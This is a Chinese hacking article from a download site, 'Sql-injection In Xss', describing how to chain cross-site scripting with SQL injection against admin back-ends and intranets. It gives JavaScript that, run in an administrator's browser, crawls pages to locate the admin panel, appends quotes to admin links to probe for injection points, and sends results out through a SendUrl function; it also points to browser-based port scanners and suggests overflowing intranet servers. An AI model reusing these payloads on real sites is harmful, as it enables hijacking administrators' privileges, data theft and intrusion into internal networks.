首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 网管专题 → 文章内容

Sql-injection In Xss[SIX]--联众游戏大厅,GlobalLink,glItemCom.dll,SetInfo,利用,分析

作者:佚名  来源:网上收集  发布时间:2007-9-4 0:17:30

SIX存在的意义:
1、有权限限制的地方总是让人比较放心,比如后台、内网 .... 。而且有的程序官方否认后台漏洞的危险,比如*vbbs对以前那个数据备用得到shell的态度。的确,在权限的限制下,这样的漏洞很难直接被利用。 Xss就和上面的情况一样,也经常被程序员忽视,而且也不太好防,如果2个情况配合起来,那就意味着利用的难度将大大下降...

2、然后有的人会说xss攻击完全可以通过"劫持"cookie,直接继承权限:比如直接登陆后台。确实这是个好方法,但是有的后台现在都是直接和ip邦定。所以我们可以利用xss直接自动完成后台的一系列攻击如Sql-injection。

3、对于公开程序,你可以根据htm/js代码来自动实现你要攻击的后台的功能,但是如果是完全黑盒的呢?

SIX的原理:
1、利用流程图

hack----------->前台+++++++>+
 ^ +
 | +
 后台<++++++<+
 ^
 |
管理员------------
2、xmlhttp让你的代码悄悄执行:
luoluo哥哥写的《XmlHttp的简单封装》的codz:http://pstgroup.blogspot.com/2007/08/javascript.html

SIX的利用:
1、得到后台的url的code:[code]var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
 xmlhttp.get("http://localhost:808/index.php", function(s) {
 //通过管理员登陆前台的,列遍所有连接来查找后台 比如得到admin/index.php
 var re = new RegExp("<a href=\"([^\"]*)", "ig");
 var m = null;
 while ((m = re.exec(s)) != null) {
 alert(m[1]);
 SendUrl(m[1]);//实际中你还要写个函数发送这个数据并且保存,注意这里不可以用xmlhttp发送,因为xmlhttp不可以跨域。
 }

 });
}

2、列遍后台连接扫描注射点的code:
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
 xmlhttp.get("http://localhost:808/admin/index.php", function(s) {
 var re = new RegExp("<a href=\"([^\"]*)", "ig");
 var m = null;
 while ((m = re.exec(s)) != null) {
 var xmlhttp = new XmlHttp();
 if (xmlhttp.init()) {
 xmlhttp.get(m[1]+"'",function(s1){
 if (s1 != null) {
 alert(s1);
 SendUrl(s1);
 }
 });}
 //alert(m[1]);
 }

 });
}
这个只是简单的在连接后面加个'探测。

3、得到后的攻击的code:缺

上面的代码写的很粗糙,如果你要做完整还需要做很多事情。 :)

SIX内网:
很多内网的web在外网是没有办法访问的,如果我们要SIX内网,首先我们要解决的问题是跨域问题:
1、img iframe script 等可以跨域。
2、xmlhttp不可以跨域,但可以配合某些跨域漏洞。

步骤:
(1)、端口扫描
Javascript Based Port Scanner : http://www.securiteam.com/exploits/5DP010KJFE.html
flash port scanner : http://scan.flashsec.org/classes/Main.as
(2)、扫描列遍url并扫描注射点、攻击
这个如果利用html了的img iframe script 等是比较难实现的,但是如果利用上面的xmlhttp的代码又不可以直接跨域,所以必须配合某些跨域漏洞[其中寻找Activex的跨域,是个很好的方向?]
(3)、Overflow in Xss[OIX]:(这个是题外话):如果我们可以跨域,那么我们可以利用xmlhttp直接溢出内网的ftp/http等服务器,当然利用img iframe script 等也可以溢出http/ftp服务器一些url的溢出。要看具体情况了
[] [返回上一页] [打 印]
  • 上一篇文章:联众游戏大厅GlobalLink glItemCom.dll SetInfo()利用分析--联众游戏大厅,GlobalLink,glItemCom.dll,SetInfo,利用,分析
  • 下一篇文章:网站登陆接口的攻与防--网站,登陆接口,攻与防

  • 相关文章:
  • Sql-injection In Xss[SIX]--联众游戏大厅,GlobalLi...
  • 联众游戏大厅GlobalLink glItemCom.dll SetInfo()利...
  • win 2000 安装 mysql-shareware-3.22.32-win
  • MySQL中的SQL-- TEXT、DATE、和SET数据类型
  • SQL--JOIN之完全用法
  • 在asp.net中操作sql-server数据库的一些小技巧
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号